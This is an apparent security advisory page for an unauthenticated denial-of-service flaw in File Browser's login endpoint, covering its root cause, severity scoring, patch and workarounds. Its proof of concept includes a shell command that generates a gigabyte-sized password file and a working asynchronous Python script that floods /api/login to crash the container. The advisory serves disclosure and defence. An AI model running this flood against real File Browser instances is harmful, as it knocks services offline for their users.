Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Public /api/login is reachable pre-authentication so PR:N (not PR:L as published); trivial network exploitation drives AV:N/AC:L; only availability is impacted.
Primary rating from Vendor (https://github.com/filebrowser/filebrowser).
CVSS VectorVendor: https://github.com/filebrowser/filebrowser
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
5DescriptionCVE.org
Summary
Unchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.
Details
When sending JSON in the body of the request to the route api/login, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function CheckPwd in users/password.go is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.
PoC
Create a file with a large password using this command:
yes "thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza" | head -n 10000000 > large-password.txtThis makes a file that's about a gigabyte. The n parameter in the head function can be adjusted to increase or decrease the file size. Afterwards, run the following script to make a filebrowser container:
docker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowserAfter running the container, it is recommended to bring up some sort of performance dashboard on the container that is running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: pip install aiohttp asyncio ). The CONCURRENT_REQUESTS parameter controls the number of requests to be making at one time. The TOTAL_REQUESTS parameter controls the grand total number of requests sent to the targeted container. If one wants more severe results, turn it up. If one wants less severe results, turn it down. The setting it's on right now is where I've found it can either crash the targeted container or just make it lag until it doesn't respond but is still on.
import aiohttp
import asyncio
from time import perf_counter
url = 'http://localhost:8080/api/login'
CONCURRENT_REQUESTS = 30
TOTAL_REQUESTS = 1000
async def make_request(session, body, semaphore):
async with semaphore:
try:
async with session.post(url, json=body) as response:
print(response.status)
except asyncio.TimeoutError:
print('Request timed out')
except aiohttp.ConnectionTimeoutError:
print('Request timed out')
except Exception as e:
print(f"Unexpected error {e}")
async def main():
with open("./large-password.txt", "r") as f:
file_contents = f.read()
body = {
"username": "admin",
"password": file_contents,
"recaptcha": ""
}
headers = {"Content-Type": "application/json"}
semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)
async with aiohttp.ClientSession(headers=headers) as session:
tasks = [
make_request(session, body, semaphore)
for _ in range(TOTAL_REQUESTS)
]
start = perf_counter()
await asyncio.gather(*tasks)
end = perf_counter()
print(f"Completed {len(tasks)} requests in {end - start:.2f} seconds")
if __name__ == "__main__":
asyncio.run(main())Impact
The vulnerability impacts anyone who uses this service.
AnalysisAI
Unauthenticated denial-of-service in File Browser (filebrowser/filebrowser) versions <= 2.63.5 allows remote attackers to exhaust CPU and memory by submitting arbitrarily large passwords to the public /api/login endpoint, which are then passed unchecked into the bcrypt-style CheckPwd hashing routine. Publicly available exploit code exists in the GitHub advisory PoC, and concurrent abuse can crash the container and even destabilize the host Docker daemon. EPSS is low (0.04%) and the issue is not in CISA KEV, but the trivial AV:N/AC:L/PR:N exploitation profile makes it a real availability risk for any internet-exposed instance.
Technical ContextAI
File Browser is a Go-based self-hosted web file manager commonly deployed as a Docker container (filebrowser/filebrowser). The root cause is CWE-400 (Uncontrolled Resource Consumption): the JSON login handler in http/auth.go deserializes the request body without a size limit and forwards the password string into users/password.go's CheckPwd, which performs an expensive cryptographic hash over the entire input. Because the hash cost scales with input length and the handler is reachable pre-authentication, an attacker can force the server to spend large amounts of CPU and memory per request. The upstream fix introduces a 1 MiB cap via http.MaxBytesReader (maxAuthBodySize = 1 << 20) on the auth and signup handlers, bounding the work any single request can impose.
RemediationAI
Vendor-released patch: upgrade to File Browser v2.63.6 or later (https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6), which adds a 1 MiB http.MaxBytesReader cap on the login and signup handlers (commit 847d08bdd135e5c3659f2e6dea2f0cd36617af9b). Users still on the legacy 1.x line have no upstream fix and should migrate to v2.63.6+. Where immediate upgrade is not possible, place File Browser behind a reverse proxy (nginx/Caddy/Traefik) that enforces a small request body limit on /api/login (e.g. client_max_body_size 32k) and add rate limiting on that route - note this will also block any unusually long but legitimate passwords. Restricting /api/login to trusted source IPs or fronting File Browser with an authenticating proxy further reduces exposure at the cost of breaking direct public access.
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Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39506
GHSA-w5fm-68j4-fpc4